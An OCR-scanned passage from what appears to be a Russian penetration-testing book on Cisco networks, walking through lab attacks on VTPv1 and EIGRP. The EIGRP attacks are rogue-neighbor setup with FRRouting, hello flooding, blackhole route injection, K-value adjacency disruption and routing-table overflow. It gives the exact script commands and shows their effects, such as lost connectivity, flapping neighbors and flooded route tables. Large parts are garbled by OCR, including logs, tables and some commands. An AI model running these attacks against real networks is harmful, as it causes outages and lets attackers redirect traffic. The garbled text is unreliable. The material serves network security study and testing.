У протокола VТР есть целых три версии. В этой главе я проведу атаку против первой
версии -
VТPv1.
Для стирания всей бюы данных
VLAN
выбираем опцию
(рис. 4.22-4 .25) .
Хает из сети VLAN 60 утратил связность до шлюза.
Рис . 4.23. База данных VLAN перед атакой
Рис. 4.24. База данных VLAN после атаки
deleting а\\ VTP vlans
Глава 4
88
~o~t@ВLOOD:-11 piпg 10.10.60.251
PING 10.10.60 .251 (10.10.60 .251) 56(81) bytes of data.
Fro111 10.10.60 .2 ic111p_seq =l Des t i па t i оп Hos t Uпreac}1a Ы е
Fro111 10.10.60 .2 ic111p_seq =2 Des tiпatioп Host UпreachaЫ e
Fro111 10.10 .60 .2 ic111p _seq = З Destiпatioп Hos t Uпreac}1a Ь I е
Fro111 10 . 10 .60 .2 ic111p_seq =1 Destiпatioп Host Uпreacl1a Ь I е
Fro111 10 . 10 .60 .2 ic/11p_seq =5 Destiпatioп Hos t Uпreacl1aЫe
Fro111 10.10.60 .2 ic111p_seq =6 De s tiпatioп Host Uпreacl1aЫ e
Fro111 10.10 .60.2 ic111p_seq =7 De s tiпatioп Host Uпreacl1ab Je
Fro111 10.10.60.2 ic111p_s eq =8 De s tiпatioп Hos t Uпreacl1ab le
Fro/11 10 . 10.60.2 ic111p_seq =9 Destiпatioп Host Uпreacl1ab Je
Fro/11 10.10.60.2 ic111p_seq =l0 De s tiпatioп Host Uпreacl1ab Je
Fro/11 10 . 10.60.2 ic/11p_seq =11 De s tiпatioп Host Uпreacl1ab Je
Fr o/11 10 . 10 .60 .2 ic111p_s~.q =12 De s tiпatioп Hos t Uпreacl1aЫe
Рис. 4.25. Сетевой паралич
Атаки на протокол EIGRP
EIGRP (Enhanced Interior Gateway Routing Protocol) -
протокол динамической
маршрутизации. Является дистанционно-векторным протоколом. При отсутствии
аутентификации и конфигурации пассивных интерфейсов злоумышленник может
вмешаться в процесс ЕIGRР-маршрутизации и вызвать отравление таблиц маршру­
тизации. Более того, сеть
EIGRP (иначе говоря, автономная система) «плоская»,
и у нее отсутствует сегментация на какие-либо зоны. Что это может значить для
атакующего? Ну, если он проведет инъекцию маршрута, то, скорее всего, этот
маршрут распространится по всей автономной системе EIGRP.
В первую очередь для атаки на автономную систему EIGRP необходимо установить
соседство с легитимным маршрутизатором
EIGRP, что открывает большие воз­
можности,
и
начиная
от
базовой
разведки
заканчивая
разными
инъекциями
(рис. 4.26).
INFO
Не забывайте, что без предварительной установки соседства легитимные ЕIGRР­
маршрутизаторы не будут реагировать на рассылаемые вами сообщения EIGRP (будь
то Hello, Update или другие).
Для этого я воспользуюсь FRRouting. Это ПО с открытым исходным кодом, кото­
рое предназначено для создания маршрутизатора в Unix и Linux. FRRouting позво­
ляет реализовать виртуальный маршрутизатор, поддерживающий протоколы
BGP,
OSPF, EIGRP, RIP и другие. Его достаточно развернуть на своей атакующей систе­
ме, и фактически вы сможете притвориться легитимным роутером в домене мар­
шрутизации. Как развернуть FRR на своей системе, я покажу в следующем разделе.
INFO
Для проведения атак на домены маршрутизации EIGRP я разработал несколько инст­
рументов и поместил их в свой репозиторий EIGRPWN на GitHub (https://github.com/
casterbytethrowback/EIGRPWN). Там вы найдете все инструменты, которые я исполь­
зовал для атаки на EIGRP в этой главе.
Большой гайд по пентесту сетей Cisco
89
Hello
R2 Puts R1 to Pending
Hello
------------------------- 1 + - - - - - - - - - - - - - - 1
R 1 Puts R2 to Pending
Null Update with lnit, Seq=x
-----··················••14---------------•
lnit Received fram R2
Null Update with lnit, Seq=y, Ack=x
1-■---------------►1-····-··-----------------
Acknowledgment, Ack=y
------------------------Ack Received from R2
----------------•
lnit and Ack Received from R1
R2 Puts R1 to Up
R 1 Puts R2 to Up
Database Synchronization
Using Updates and Acks
Рис. 4.26. Как устанавливается соседство между ЕIGRР-маршрутизаторами
Разведка в сети
Подключение к домену маршрутизации позволяет нам провести перечисление и
разведку сетей и не тратить много времени на сканирование. Этот способ значи­
тельно экономит драгоценное время. К тому же при сканировании вас могут обна­
ружить системы безопасности IPS/IDS. Как по мне, подключение к домену и пере­
числение -
вектор атаки на домены маршрутизации, который дарит наибольший
импакт.
Но для этого всего нужно развернуть FRRouting. Приступим.
Необходимо отредактировать конфигурационный файл daemons. В нем прописаны
конфигурации демонов в контексте их активности. Либо они подключены (yes),
либо нет (no). Нам нужно активировать работу демона eigrpd (рис. 4.27).
root@kali:~# nano /etc/frr/daemons
eigrpd=yes
После этого нужно поправить файл vtysh.conf, добавив в него строчку, отвечающую
за сохранение конфигурации в один файл, чтобы конфигурации разных протоколов
не раскидывало в разные файлы (например, eigrpd.conf, staticd.conf). Настраивается
опционально.
root@kali:~# nano /etc/frr/vtysh.conf
service integrated-vtysh-config
Глава 4
90
Рис . 4.27. Активация демона eigrpd
Рис. 4.28. Состояние демона FRRouting
Большой гайд по пентесту сетей Cisco
91
С конфигурацией FRRouting закончили. Теперь самое время запустить демон
FRR
(рис. 4.28). И не забываем о разрешении маршрутизации трафика.
caster@kali:~$ sudo sysctl -w net.ipv4.ip_forward=l
caster@kali:~$ sudo systemctl start frr
ТТ одключение к домену маршрутизации EIGRP
С помощью команды vtysh мы попадем в панель управления маршрути·~атором FRR
(рис. 4.29).
caster@kali~-$ sudo vtysh
kali# show version
Рис. 4.29. Панель управления FRR
Перед конфигурацией
EIGRP на маршрутизаторе нужно узнать номер автономной
системы и понять, имеется ли аутентификация (рис. 4.30).
Как мы видим, номер автономной системы
EIGRP -
1. Аутентифика~н1я отсутст­
вует. С этой информацией мы без труда сможем подключиться к домену маршру­
тизации EIGRP.
INFO
Не забывайте, что домен маршрутизации
EIGRP может быть защищен аутентифика­
цией. Но у вас все еще есть шанс подключиться к домену маршрутизации. Во время
рассылки пакетов приветствия в них также находятся криптографические хеши. Если
вы сумеете извлечь эти хеши из дампа трафика и сбрутить пароль, вы сможете войти
с этим паролем в домен маршрутизации.
Переходим в режим глобальной конфигурации и запускаем процесс [IC:iRP, указы­
ваем номер автономной системы -
1.
kali# conf t
kali(config)# router eigrp 1
kali(config-router)# network 10.10.100.50/32
После этого устанавливается
соседство
между легитимными
заторами (рис. 4.31, 4.32). В моей сети их два:
□ маршрутизаторGW1 по адресу 10.10.100.100;
□ маршрутизатор GW2 по адресу 10.10.100.200.
ЕIGRР-маршрути­
Глава 4
92
Рис. 4.30. Дамп трафика EIGRP
125 44.888731628
131 46.001041991
10.10.100.200
10.10.100.50
10.10.100.50
224.0.0.10
224.0.0 . 10
EIGRP
EIGRP
Рис. 4.31. Установка соседства с маршрутизатором GW1
Большой гайд по пентесту сетей Cisco
93
244 92.742719288
10.10.100.50
224.8 . 8.18
247 93 . 582316348
249 93.997895568
252 94.897445585
10.10.100.200
18.18.188.188
10.10.108.58
224.8.8.18
224.8 . 8.18
224.8.8.18
EIGRP
EIGRP
EIGRP
74 Hello
84 Hello
74 Hello
256 96.889523784
257 96.048825376
18.18.188.58
10.10.100.200
224.8.8.18
224.8.8.10
EIGRP
EIGRP
74 Hello
84 Hello
10.10.100.1ее
10.10.100.2ее
18.18.180.58
Рис. 4.32. Усrановка соседсrва с маршрутизатором GW2.
Во время установl_(И и поддержания соседства между ЕIGRР-маршруrизаторами
роуrеры обмениваются своей маршруrной информацией. После установки соседст­
ва в нашей таблице маршруrизации атакующей системы появятся новые маршруrы,
а именно (рис. 4.33):
□
10.1.239.0/24via 10.10.100.100;
□
30.30.30.0/24 via 10.10.100.100;
□
100.100.100.0/24 via 10.10.100.100;
□
172.16.100.0/24 via 10.10.100.200.
Таким образом, после установки соседства мы узнали о существовании этих подсе­
тей, 'ПО облегчает нам задачу в пентесте и позволяет сэкономить время. Мы можем
n
necгeas1ng@lnguz : -
n1:.:r~d':.:r1t:..lr·;l;.: :-.S rcu:e - n
Kernel IP routing tаЫе
Destination
Cxlte"ay
с.о.о.с
10.10.100.254
10.1.239.0
10.10.100.100
10 . 10 :100. о
0. о. е. о
ЗС.30.30.О
10.10.100.100
100 . 100.100.С
10.10.100.100
172 . 16.100.0
10.10.100.200
r1tcreas lпg.~Ir.:suz :--$
1
Genmask
255.255.255.0
Flags Меtпс Ref
UG
100
е
UG
20
о
255,255.255.С
u
10С
255. 255. 255. С
255.255.255.0
255.255.255.0
UG
UG
UG
20
20
20
о .с.с. о
с
Use Ifac:e
0 eth0
с ethC
е ethO
0 eth0
о ethC
0 ethO
Рис. 4.33. Таблица маршрутизации атакующей смсrемы после подключения к домену EIGRP
Глава 4
94
обойтись без дополнительного сканирования подсетей. Теперь мы в домене мар­
шрутизации EIGRP и можем развивать некоторые векторы атак. О них и поговорим
дальше.
Поддельные соседи EIGRP
Я выяснил, что генерация и быстрая рассылка массовых пакетов приветствия про­
токола
EIGRP приводит к перегрузке центрального процессора маршрутизатора,
что, в свою очередь, может открыть возможность для DоS-атаки. Я разработал не­
большой скрипт helloflooding. ру
(https://github.com/casterbytethrowback /EIGRPWN,
рис. 4.34), н,о мне кажется, что скрипту не хватает скорости рассылки пакетов. Все­
му виной -
GIL, который мешает запустить функцию sprayhello в несколько пото­
ков в секун,ду. Со временем я перепишу скрипт на С.
Рис. 4.34. Инструмент helloflooding.py
Аргументы скрипта:
□ интерфейс атакующей системы;
□ номер автономной системы EIGRP;
□ подсеть,
в
которой
находится
атакующая
система.
В
моем
случае
подсеть
10 .10 .100. 0/24.
caster@kali: -/EIGRPWN$ sudo pythonЗ helloCood:ng. ру
10.10.100.0/24
--1пt et face
err,O --asn 1 --suЬnet
Как видно из скриншота выше. нагрузка на 11снтральный процессор возросла до
98% (рис. 4.35).
Большой гайд по пентесту сетей Cisco
95
Рис. 4.35. Перегрузка центрального процессора во время флудинга
Черная дыра
Суть этой атаки заключается в простой инъекции ложного маршрута. который от­
равит таблицу маршрутизации. Допустим, трафик сети 10 .10 . 100 . О/ 24 будет лететь
в никуда, вызывая отказ в обслуживании. Такую атаку называют Blacklюle («черная
дыра»). В качестве инструмента для ее проведения выступит скригп route i nj ect.py
(https://github.com/casteгbytethгowback/EIGRPWN/ЫoЫmain/гouteinject.py, рис. 4.36).
Рис. 4.36. Инструмент routeinject.py
Аргументы:
□ интерфейс атакующей системы:
□ номер автономной системы EIGRP:
Глава 4
96
Рис. 4.37. Усrройсnю вредоносной инъекции маршрута
Рис. 4.38. Попытки леnпимноrо хоста пинrанутъ целевой сервер·
97
Большой гайд по пентесту сетей Cisco
□ IР-адрес атакующего;
□ IР-адрес целевой
подсети, трафик в направлении которой будет отправлен
в «черную дыру»;
□ маска целевой подсети.
В рамках этого примера я отправлю в «черную дыру» трафик, предназначенный
для хоста 172 .16.100 .140/32 (рис. 4.37).
caster@kali:-/EIGRPWN$ sudo python3 routeinject.py --interface eth0 --asn 1
--src 10 . 10.100.50 --dst 172.16.100.140 --prefix 32
Как мы видим, хост теряет связность до хоста 172.16.100.140/32 из-за инъекции мар­
шрута (рис. 4.38, 4.39).
:
.:..-:._t._::._:,:
з:
D· !X
_-:._f._))._~:
з:
:.:..-:, .:.:_t :•:
·:.:.а
:.s j.:.:- ec1:l~· c::-.::e,:ted,
_: ._ :, . .:..: :• . 5:
1
1,
:,:, :
: 1
3 : 3",
Fas:tEt~e:-:--. .:::t:
:,
Fast::t:-:-=:-:--.et _ :
1
SiV.:.# I
Рис. 4.39. Отравленный роут в таблице маршрутизации GW1
Злоупотребление К-эначениjlми
Чтобы установить соседство
EIGRP, маршрутизаторы используют специальные'
К-значения. Они должны быть одинаковыми среди всех EIGRP-coceдeй. Если хотя
бы одно из К-значений не будет совпадать, возникнет авария в домене EIGRP и со­
седство будет разорвано. Для •проведения этой атаки нам послужит инструмент
relationshipnightmare . ру (bttps://gitbub.com/casterbytethrowback
main/relationshipnightmare.py, рис . 4.40).
Рис. 4.40. Инструмент relationshipnightmare.py
/EIGRPWN/ЫoЫ
Глава 4
98
Для работы скрипта необходимо указать:
□ интерфейс атакующей системы ;
□ номер автономной системы EIGRP;
□ IР-адрес легитимного маршрутизатора .
От имени указанного
IP и будет отправлен инжект на мультикастовый IР-адрес
EIGRP, в котором К-значения отличаются . В моем случае я буду разрывать сосед­
ство от имени маршрутизатора GWI (его адрес - 10. 10. 100.100, рис . 4.41 , 4.42).
23061 5б7 .1 44157945 10 .10 .100. 50
23062 567.320774605 10.10.100 . 50
23065 568.490186655 10.10.100.50
23066 568.490244551 10.10 . 100 . 50
23057 5б8.490277492 10.10.100.50
23068 568.630928025 10 . 10.100.50
10 . 10 .100. 200
224.0 .0. 10
224.0.0.10
224.0.0 .10
224.0 . 0.10
224.0.0.10
EIGRP
EIGRP
EIGRP
EIGRP
EIGRP
EIGRP
74 Не llo ( Ack)
74 Hello
74 Hello
74 Hel lo
74 Hello
74 Hello
Рис. 4.41. Дамп трафика во время разрыва соседства
Начинаем атаку .
caster@ kal i :~/EIGRPWN $ sudo pytho n З r el ati onshipnightmare.py - -interface eth0 - -asn 1
--src 10.10.1 00 .1 00
Таким . образом можно провести DоS-атаку . Во время э ксплуатации возникают бес­
конечные разрывы и попытки установить соседство, что парализует работу части
домена маршрутизаци,и EIGRP.
Переполнение таблиц маршрутизации
Суть этой атаки заключается в том, чтобы спровоцировать отправку огромного ко­
личества ложных маршрутов, которые будут переполнять таблицу маршрутизации.
Это истощает вычислительные ресурсы
маршрутизатора , а именно процессора
и оперативной памяти , поскольку инжекты происходят на огромной скорости.
Большой гайд по пентесту сетей Cisco
\DUAL-5-N9RCН.Al~GE: ' EIGRP-!Pv4 1 : : NeiQhЬor 10.10 . 100 . 200
\DUAL-5-NBRCНAN3E : ' EIGRP-IPv4 l :_. N~1.ф:.bor 10 . 10. 100 . 200
\OOAL-5-N3RCHANGE : EIGRP-IPv-1 1 : N~iQhbor 10 . 10 . 100. 200
\DUAL-5-N3RC:1ANG-E : EIGRP-IP..r-! 1 : N~ii;?-.bor lC• . 10 .1 00 . 200
-\OOAL-5-NЗRC~GE : E!GRP-IPv-i 1 : •.: f1~1.qhbo:r 10. 10 . 100 . 200
\:DUAL-5-NBRCifANGE : E!GRF-1Pv4 : l : _ N1::iqhbor 10 . 10 . 100 . 200
\:IX.IAL-5-NЭRCНANGE : EIGRP-IFv4 1 : • Ne1. qhb or 10. 10. 100. 2ОС,
\DOAL-5-NBRCHANGE : EIGRP-IP'l4 '• 1 : •: Ne1. Qhbo r 10 . 10.100.200
\DUдL-5-NBRCHAN GE : ElGRP-IPv-1 1 : ( N>! iQhbo x: 10 . 1 0 . 100 . 200
\DUAL-5-NЗRCНANGE : EIGRP-IPv4 • ! : _N~iqt-.bcr l\J.10.100 . 200
• .:;,Н lS 22 :·!7 : Vl . 6 -!З: \OOAL-5-N3RCНAN::;E : EIGRP-IPvi . 1 : - No!i~!'".bor 10 . 10 . 100 . 200
•.;.Jl 15 12 : 47 : 0€ . 207 : \OOAL-S- t19RC.Ч AN GE : E!GRP-IPv4 1: ~ r1e:.1.9hbor 10.10.100 . ~оо
• J:.:.l lЗ 22 : 47 : 10.555 : \DUAL-5-NЗRCНANGE : EIGRP-I~'J 1 : Ne-iqhЬor 10 . 10 .1 00 . 200
· Vul 13 22:47 : 15 . 51~ : \DUAL-5-!.JBRCНANGE : EIGRP-1Pv1 1 ·: Neз.QhЬor 10 . lG.100 . 200
·V',,11 1~ 22 :4 1 : 19 . 199 : \DUAL-5-NBRCr'.ANGE: EIGRP-IPv4 1·:,, tie:iqhbor 10 . 10.100 . 200
• Jul 18 2:? :4 7 : 24 .Н,7 : \DUAL-5-NЗRCHANGE : EIGRP-!P•z4. . l ; , Ne:iQhbor 10 . 10.lOU.200
• Ju1 1-9 22 : ~1 : :!9 . 19 9: \DUA L-5-NЗRCHAN GE : EIGRP-IP•J"-1 •, l _;_ ,i N~.19!'".Ьor 10 . 10 . 100 . 200
• .7:Jl 1-З ::2 : 47: 3 4 .135: \DUAL-5-N3 RCHANGE: EI GRP-1Pv1 ,- 1 :,.; N~J.qhbor 10 . 10 .1 00 . 2:00
,,.~;..il 18 ~2:47:35.439: \DUAL-5-N3RC.ЧANGE: EIGRP-1Pv4 1; ·; N\C"l.QhЬor 10.10 . 100 . 200
• Jul i3 22 : 47 :-!2 .9 99 : \DUAL-S-N3RCНANGE: EIGRP-1Pv4 _. l ·: Neiqhbor 10 . 10 .100 . 200
• .;;Jl 1~ 22 :4 7 : 47.'195: \DUAL-5-NSRCHANGE : EIGRP-!Pv4 : 1:'ptei9hЬor 10.10.100 . 2VO
•.:ul 18 22 :4 7 : 52 . ЗС:З : \DUAL-5-NBRCRANGE: EIGRP-!Pv-4 _1: J Ne:iqhbor 10 . 10.100 . 200
·.Jul lЭ 22 :-¾ 7 : Sti . '7-!3 : \DUAL-5-N.ЭRCНANGE : EIGRP-IPv-! _). : : N~iqhbor 10 .1 0 . 100 .2 00
•.Jul Н! 22:4-5 : (.11 . 1.35 : \DUAL-5-NЗRCHANGE : EIGRP-IPv ➔ l : • No~i9hbor 10. 10 .1 00 . 200
• Jul 13 :.z: '18:: 06 . ':2 З : -\DUAL-5-NБRCJ'iANGE : EIGRP-lPv<J 1 : .~ Ne:1.9hbor 10. 10 .1 00 . 200
• Jul 18 22 : 48 : 11 . 155 : -\DUAL-5-NБRCHANGE: EIGRP-IPv4 l : :. Ne:1..qhbor 10 . 10 . 100 . 200
• Jul 18 22 : 43 : 15 . ?Э? : \DUAL-5-NBRCНANGE: EIGRP-IPv4 1 : №1.9hЬо.:: 10 .1 0 . 100 . 200
•Jul lS 22 :4 3 : 20 . ЗЭ? : \OOAL-5-NBRC:"-IANGE: EIGRP-IPv4 1 ; Ne:i9hbor 10 .1 0 . 100. 200
• Jul 1е 22 : 4.g : 24 . 95~ : . \OOAL-5-NBRCНANGE: EIGRP-IPv1 : 1: . Ne:iohbO!: 10 . 10 . 100 . 20(J
• J·.1! ld 22 : 4-S : 29 . €23: \OOAL-5-N3RCНANGE: EI GRP-IPv-! l: Ne:iqhЬor 10.10.lOV.200
• Jul 1.З 22: 45: 3 4. 023 : \DUAL-S-NBRCНANGE: .EIGRf_
- Il?y-! ·-~ ::-:; N~.~qhЬor 10.10 . 100,::!.ОО
• J~l 19 22: ~8: 35: . '195: \DUAL-5-,NBRC.ЧANGE: EIGRP-1Pv4 l: Ne.19hbor 10. lV . 100. 2:00
· Vul 13 22 :4 8 :4 3 . 399 : \DUAL-5-NBRCНANGE: EIGRP-1Pv4 1 : Ne:i9t-.Ьor 10. 10 . 100 . 200
· Jul 18 22 :43:4 3 .::!. 79 : -\DUAL-5-NБRCНANGE : EIGRP-IPv4 1 : Nei9hЬor 10.10.lV0.200
• Jul lЭ 12 : 49 : 52. 395 : \DUAL-5-NЗRCHANGE: EIGRP-IPv-1 1: Ne:ighbor 10 . 10 . 100.200
• J.11 15 22 :4 8 : 57 . 399 : \OOAL-5-NBRCНANGE: EIGRP-IPv4 l : Ne:iqhbor 10 .10. 100. 200
NeJ.qhbor 10 . 10 . 1сю . 200
· J~l 13 22 :~9 : U::!. .4 15 : \DUAL-5-NЗRCНANGE: EI GRP-IPv4
· J:..11 18 ::2:19:07.2:99 : -\DUAL-5-NЗRCНANGE: EIGRP-1Pv4 1 : NeJ.qhbor 10. 10 . 100. 200
• Jul 13 22 : 49 : 11 . 567 : \DUAL-5-NЗRCНANGE: EIGRP-1Pv4 1 : N~з.qhЬor 10 . 10 . 100. 200
•Jul 18 22 :'19:1€.4. 15 : \DUAL-5-NВRCНANGE: EIGRP-IPv4 1 : Nеi9Г.Ьо::: 10 . 10. 100. 200
•Jul 18 22 : 4.9 : 2:1.175 : \DUAL-5-NBRCНANGE: EIGRP-IPv4 1: Nei9hMr 10 . 10 . 100.200
· .:ul.18 22 : 49:25.655: \DUA.l--5-NBRCHANGE : EIGRP-JPтz4 1 : №iqhbor 10 ·.10 . 100.200
•J:.11 lS 22 : -19 : 29 . 9-¾3 : -\DUAL-S-N3RCНANGE : EIGRP-IPv4 1 : Ne:J.qhbor 10 . 10 . 100. 200
•J:..11 1-3 22 : ~~ : 34 . 571 : \DUAL-.5-NBRC.ЧANGE: EIGRP-IPv4 1 : №1.Qhbor 10 . 10.100 . 200
• JJl 13 22 : 4~ : 33 . 827 : \DUAL-5-NВRCНANGE : EIGRP-IPv<Э 1 : Neighbor 10 . 10 . 100.200
• J~l lЭ' 22 : 49 : -!3 . ЗЗ3 : \DUAL-.5-NBRCНANGE: EI GR P-IPv4 1 : Neз.9t-.hor 10 . 10 . 100 . 200
• Vul lЗ 22 : 49: ~е. 043 : \OOAL-5-NBRCНANGE: EIGRP-IPv'1 1 : Neigl'•.Ьor 10 .1 0 .10 0 . 200
• Jul 16 22:49:52.€43: \DUAL-5-NBRCP.ANGE : EIGRP-IP•1.;. 1 : Neiqhbor 10 . 10.100 . 200
•.Jul 18 22 : 49:.57 . ОЗS : \OOAL-5-NBRCНA.NGE : EIGRP-!Pv4 1: Ne1.9hbor l Cr . 10 . lOCr . 200
•Jul 18 .:!:2 : 50 : 01 . 323: \DUAL-5-NBRCHANGE : EIGRP-IPv4 1 : Ne:1.Qhbor 10 . 10 . 100 . 200
•Jul
•.;ul
·.:·..й
'· Vul
• Jul
•V;.il
• J'..11
• Jul
•.J•..11
• Vul
lЗ
22 :415 : 16 . ?Зl :
18 22 :46: 21 .4 39 :
19 ~2 :4 6 : .26 . 095 :
18 22 :-!6: ЗCI . S-!3 :
13 22 : ➔6 : 34 . !-163 :
lЭ ::2:'16:39.57~:
!Э 22 : 46 : 43 . ~31:
lЗ 22 :413 : 48 . 455 :
18 22 :46: 52 . 839 :
18 22 : -!6 : 57 . -!51 :
99
up: :-.e-w adjace:'1cy
d<J •нn: p e-er reзtarte-d
is -..:~- : ne:w adJace::-:cy
(faзtEt.herne:t.l /0) is ctowп: рее!" reзtarted
(Fa.зt.Et.herne-c l/0)
пеw adJacency
:;.р :
(FaзtEt.her!"'let.1 /0 ) 1S d ow:-. : peo:r reзta.:t.ed
(Faзt.Etherne-t.1 /0 ) 1З up : ne-w 4tlJaCe!1CY
( FaзtEt.h~rnet 1/ О )
do •н n : pe-er re-titart.ea
-.;.р :
ne-w adjacenc:,·
(Faзt.Ethe-.rпei: 1/0 )
( Faзt.Et.he rnet 1/0) is down : peer re.з1:artecl
( Faзt.Ether:1~t l/O) 1S up : ne:w adJacency
(FaзtEt.hernetl /0 ) 1З dowг.: pee:r •reзta.:ted
(FaзtEthe:.rriet: l/0) 1" up : new a.ctJace!'lcy
(FaзtEt.hernet l/0) 1S do•-1:1 : p~er .re.,:t.art.ed
',J.p; new actJacer-.c)·
(FaзtEthe:rnetl /0)
(Faэt.EthE:rne:t l/0) i• down : peer H=Зt.a~t.t:..:1
(FaзtEthernet l/0 ) i s up : n~w act:ace-ncy
( Fг.зtEt.he:r:-:ie:t.1/ 0 ) 1S down : peer .reэtartecl
(Fa.зi:Et. he rne-t l/0} ~з up : new adJacency
(Faзt.Ethe:rnet l/0) 1S dovr.-.: peer re.зtar:.,:,d
(FaзtEt.he-rnetl /0)
up: 9-ew ac.l jace!1cy
(Faзt.Et.herne:t l/0)
do"m: peer .re-зta:::te-d
up : new adJac1:::-.cy
(Faзt.Ether netl/0)
(FaзtEt.hernetl/0) 1S down: peer reзt.arte<:I
up : ne•,1 adJacerн:y
(Fa.зt.Et he rne-1:l/ O}
(Faзt.Etherne-t l/0 ) 1S down: peer reзt.ari::ed
(FaзtEtherne1: l/Q) i s up: new acl Ja.cency
(FaзtEther netl/0)
dOW!1: peer re:.зta:::te-d
(Fa.зt.Et.hernet.! /0 )
ир:
new adjace:-.c:,r
( faзtEthe:r:iet. l/0) 1S down: p~er re-.started
(Faзt.Ethe:rn~t.1 /C, ) is u p: ne"1 adJacency
(Faзt:Et tiernei:l/0 )
down : pe:er re:зtart.ect
(Faзt.Ethern.E:t.1/0) i s up: new adJaCe!1CY
(Faзt.Eth e.rnetl/0 ) i s d1:iwn : peer re.'3'tart.t""d
{Fa.зtEthernet.l/ 0 ) i s up: ne:w adjacencj•
{Faзt.Ethe:r:::etl/0) is down: peer ri:зt.a!:ted
(FaзtEtherne:t l/0) ~з ир: new adjacency
( Fa.зtE1: her r-.ecl / О ) 1З ctor.r..: peer reзta.:t ect
{Fг.зt.Ethernetl /D )
up : new ad:;acenc::,·
(Faзt.Etherne:tl /0 ) i s do\.m : peer restarted
(FaзtEtherne:tl /0 )
up: ne:w adj acenc;:,:
d<Jwn : peer re-:oita!:ted
(Faзt.Et.he-rn~tl/0)
up : new .adJace-ncy
(FaзtEt.herne:tl /0)
(Faзt.Ethern~tl /0) i s dOW!1: peer reзtart.ed
(Faзt:E1: be r!1e1: l/O) 1З vp : new adJace11cy
(FaзtEthernet l/0)
ctow-n: p-:!'er reзta::t.ed
(FaзtEt.he-rnet. 1/U ) is up : :1ew adJ ,a ce:.cy
down : peer re~1:art.e-d
(Faзt.Et.hernecl/ 0)
(FaзtEtherr.etl/ 0 ) i• up : new adJace-:1cy
( F aэt. E t.he:rnetl/0)
1S down : peer reзt.a::-t.ed
(Fast.Ether!"'!.etl/0)
(FaзtEthernet.l /0)
is
,.
(Faзt.Ethe.r:1et l/O )
,,
,.
,.
,.
,.
,.
,.
,.
,.
,.
,.
,.
,.
'"
Рис. 4.42. Маршрутизатор GW1 бесконечно разрывает и восстанавливает связь
Рис. 4.43. Инструмент routingtaЫeoverflow.py
Глава 4
100
routingtaЫeoverflow . py (https://github.com/
скрипте
в
атака
эта
Реализована
casterbytethrowback/EI GRPWN/Ыo Ыmain/routingtaЫeoverflow. ру, рис. 4. 43).
Аргументы :
□ интерфейс атакующей системы;
□ номер автономной системы EIGRP;
□ IР-адрес атакующего.
Начинаем атаку.
caster@kali:~/EIGRPWN$ sudo pythonЗ routingtaЫeoverfl o w.py --interface ethO --asn 1
--src 10.10.100.50
GWlfshow ip route
Codes: L - local, С - connected, 5 - static, R - RIP, М - moЫle, В - BGP
D - EIGRP, ЕХ - EIGRP external, О - OSPF, IA - ' OSPF inter area
Nl - OSPF IISSA external type 1, N2 - OSPF NSSA external type 2
El - OSPF external type 1, Е2 - OSPF external type 2
i - IS-IS, su - IS-IS sumroary, Ll - IS-IS , level-1, L2 - IS-IS level-2
ia - IS-IS inter area, • - candidate default, .U :- per-ua:er ,::,tatic route
о - ODR, Р - periodic downloaded зtatic route-, Н ._- NHRP, 1 - LISP
+ - replicated route, \ - next hop o~eriide 1
Gateway of last resort
s•
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
D ЕХ
iз
10.1.239.46 to network О.О.О.О
О.О.О.О/О [1/0) via 10.1.239,46
1.0 . 0.0/24 is зuЬnetted, 10 зuЬnеtз
1,14.226.0 (170/28160) via 10.10.100.50, 00:00:03, fastEthernetl/0
1.16. 224. О [170/28160) via 10. 10 .1 00 ·. 50, 00: 00: 01, faзtEthernetl/0
1.17.32.0 (170/28160) via 10.10.100.50, 00:00:03, FaзtEthernetl/0
1.103.214.О (170/28160) via 10.10.100.50, 00:00:02, fastEthernetl/0
1.116.250.0 (170/28160) via 10.10.100.50, 00:00:04, FascEthernetl/0
1.124.6.0 [170/28160) via 10,10.100.50, 00:00:02, faзcEthernetl/0
1.142.233.0 (170/28160] via 10.10.100.50, 00:00:02, FastEthernecl/0
1.159.140.О (170/28160) via 10.10.100.50, 00:00:03, faзtEthernecl/0
1.173.216.О [170/28160] via 10.10.100.50, 00:00:04, FaзtEchernecl/0
1. 208. 200. О [17 0/28160) via 10 .10 .100. 50.\i 00: 00: 02, faзtEthernecl/0 •
2.0.0.0/24 is зuЬnetted, 13 sUЬnetз
2.19.77.О [170/28160) via 10.10.100.50, ooioo:02, FascEthernecl/0
2.65.252.0 (17 0/28160) via 10.10.100.50, 00:00:00, faзcEthernetl/0
2 .118. 40. О [ 170/28160) ,,ia 10 .10 .100. 50, • 00: 00: 01, faзtEthernetl/0
2.127.237.О (170/28160] via 10.10.100.50, 00:00:01, faзtEthernetl/0
2.132.208.0 (170/28160] via 10.10.100.50, 00:00:04, FaзcEthernecl/0
2.153.253.0 (170/28160) via 10.10.100.50, 00:00:02, FaзcEthernecl/0
2.165.189 . 0 (170/28160) via 10.10.100.50, 00:00:04, FascEchernecl/0
2.167.114 . О [170/28160] via 10.10.l00:50;"' 00:00:02, FaзtEthernetl/0
2.168.186.0 (170/28160] via 10.10.100.50, 00:00:03, fascEthernetl/0
2.186.96.0 (170/28160] via 10.10.100.50, 00:00:00, fastEchernetl/0
2.199.86.0 (170/28160] via 10.10.100.50, 00:00:02, FaзcEchernetl/0
2.228.217.0 (170/28160] via 10.10.100.50, 00:00:02, fastEthernetl/0
2.247.123 . 0 (170/28160) via 10.10.100.50, 00:00:01, FascEthernecl/0
3.0.0.0/24 is зu.Ьnetted, 8 suЬnets
3.84.180.0 (170/28160] via 10.10.100.50, 00:00:02, FaзcEchernecl/0
3.127.62.О [170/28160] via 10.10.100.50, 00:00:01, FaзcEchernecl/0
3.146.112.0 [170/28160] via 10.10.100.50, 00:00:01, FaзcEthernecl/0
3.165.208.О [170/28160] via 10.10.100.50, 00:00:02, faзcEthernecl/0
3.179.119.0 (170/28160] via 10.10.100.50, 00:00:03 , FascEthernetl/0
3.200.32.О [170/28160] via 10.10.100.50, 00:00:02, FaзcEchernetl/0
3.235.179.О [17 0/28160] via 10.10.100.50, 00:00:00, faзcEthernecl/0
